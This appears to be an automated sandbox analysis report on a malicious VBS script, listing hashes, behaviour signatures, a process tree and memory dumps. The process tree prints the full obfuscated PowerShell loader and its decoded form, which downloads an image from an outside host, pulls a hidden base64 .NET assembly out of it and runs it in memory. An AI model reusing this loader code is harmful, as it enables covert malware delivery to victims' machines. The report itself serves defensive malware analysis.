fa1262ddbc3380f866cf3a8d7f0a72e335a9dedcf2c857fde08aae543e2fea78

General

Target

Nicht bestätigt 200172.vbs
Size

137KB
MD5

c98ad59cd4dbc9b65da06bb61a475b3c
SHA1

13f1c20297babdbc192c0096384f09d304bcb6a0
SHA256

fa1262ddbc3380f866cf3a8d7f0a72e335a9dedcf2c857fde08aae543e2fea78
SHA512

0ccf064b78473ec8caa0cf9dc93371a8ada795474bc1568aefa49061d3f17ea1d5424617b8b7b6bf2bc52676d8cd9e66af3dd39a329c6bc0ab10f68a66acd14f
SSDEEP

1536:F+sxde4Mi3mI2hb7KZ18C2NGkikGkFjGkikGkKEt0eEKU+kCKGWGPrbrbTDDpOAH:PxdeBQFJy

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://wallpapercave.com/uwp/uwp4098462.png

exe.dropper

https://wallpapercave.com/uwp/uwp4098462.png

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	2176	WScript.exe
5	2688	powershell.exe
6	2688	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2896	powershell.exe
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2176 wrote to memory of 2896	2176	WScript.exe	28
PID 2176 wrote to memory of 2896	2176	WScript.exe	28
PID 2176 wrote to memory of 2896	2176	WScript.exe	28
PID 2896 wrote to memory of 2688	2896	powershell.exe	30
PID 2896 wrote to memory of 2688	2896	powershell.exe	30
PID 2896 wrote to memory of 2688	2896	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Nicht bestätigt 200172.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('Qyrwg','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4098462.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmJ4YWdpbi8xNS4zMy4yNC4zOTEvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
158982367a6da8adcd683c16b54e051d

SHA1
45d9a1dd9e6980e9aab14c2563cf62c6f2bc0207

SHA256
ece9ebce52e09262ee281f9bb0e5d7fbbce931952660aafe8f104b55a457d103

SHA512
ff277011de352e7f0572a57352062a363d9a2df9898a078de6ded454bf6b7a658c564205af3269179aa21be4c200fc3e03e185f2d711d41b508b5efb0b1712c0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\774JMKQ14O1C6VZVZVRC.temp

Filesize
7KB

MD5
158982367a6da8adcd683c16b54e051d

SHA1
45d9a1dd9e6980e9aab14c2563cf62c6f2bc0207

SHA256
ece9ebce52e09262ee281f9bb0e5d7fbbce931952660aafe8f104b55a457d103

SHA512
ff277011de352e7f0572a57352062a363d9a2df9898a078de6ded454bf6b7a658c564205af3269179aa21be4c200fc3e03e185f2d711d41b508b5efb0b1712c0

Download Submit
memory/2688-19-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-17-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-22-0x0000000002B10000-0x0000000002B90000-memory.dmp

Filesize
512KB

Download
memory/2688-21-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-20-0x0000000002B10000-0x0000000002B90000-memory.dmp

Filesize
512KB

Download
memory/2688-18-0x0000000002B10000-0x0000000002B90000-memory.dmp

Filesize
512KB

Download
memory/2688-16-0x0000000002B10000-0x0000000002B90000-memory.dmp

Filesize
512KB

Download
memory/2896-5-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/2896-7-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2896-15-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-4-0x000000001B170000-0x000000001B452000-memory.dmp

Filesize
2.9MB

Download
memory/2896-6-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-9-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2896-8-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2896-23-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing